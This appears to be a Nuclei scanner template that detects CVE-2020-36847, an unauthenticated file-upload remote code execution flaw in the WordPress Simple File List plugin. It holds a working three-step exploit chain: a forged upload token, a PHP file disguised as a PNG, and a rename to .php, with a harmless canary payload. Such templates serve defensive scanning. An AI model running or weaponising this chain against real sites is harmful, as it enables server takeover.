WordPress Simple File List < 4.2.3 - Unauthenticated Remote Code Execution

id: CVE-2020-36847

info:
  name: WordPress Simple File List < 4.2.3 - Unauthenticated Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    WordPress Simple File List plugin before version 4.2.3 is vulnerable to unauthenticated remote code execution. The ee-upload-engine.php and ee-file-engine.php scripts register their WordPress nonce checks via add_action('plugins_loaded', ...) after including wp-load.php, making the security checks dead code since the hook has already fired. Combined with a deterministic upload token (md5('unique_salt' + timestamp)) and no file extension validation on the rename action, an attacker can upload a PHP payload disguised as a .png file and rename it to .php, achieving arbitrary code execution.
  impact: |
    An unauthenticated attacker can execute arbitrary PHP code on the web server, leading to complete server compromise, data exfiltration, and lateral movement.
  remediation: |
    Update Simple File List to version 4.2.3 or later, which adds file extension validation to the rename action and fixes the token verification.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36847
    - https://www.exploit-db.com/exploits/48979
    - https://wpscan.com/vulnerability/10249
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-36847
    epss-score: 0.43519
    epss-percentile: 0.9875
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    framework: wordpress
    product: simple-file-list
    shodan-query: http.component:"WordPress"
    fofa-query: app="WordPress"
  tags: cve,cve2020,wordpress,wp-plugin,simple-file-list,rce,upload,file-upload,intrusive,vkev

variables:
  boundary: "{{rand_base(24)}}"
  marker: "{{rand_base(8)}}"
  canary: "{{rand_base(20)}}"
  ts: "{{unix_time()}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_ID"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_FileUploadDir"

        wp-content/uploads/simple-file-list/
        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_Timestamp"

        {{ts}}
        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_Token"

        {{md5("unique_salt" + ts)}}
        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{marker}}.png"
        Content-Type: image/png

        <?php echo md5('{{canary}}');?>
        --{{boundary}}--

    matchers:
      - type: word
        part: body
        words:
          - "SUCCESS"
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        eeSFL_ID=1&eeFileAction=Rename%7C{{marker}}.php&eeFileOld={{marker}}.png&eeListFolder=

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/simple-file-list/{{marker}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - contains(body, md5(canary))

    extractors:
      - type: dsl
        dsl:
          - md5(canary)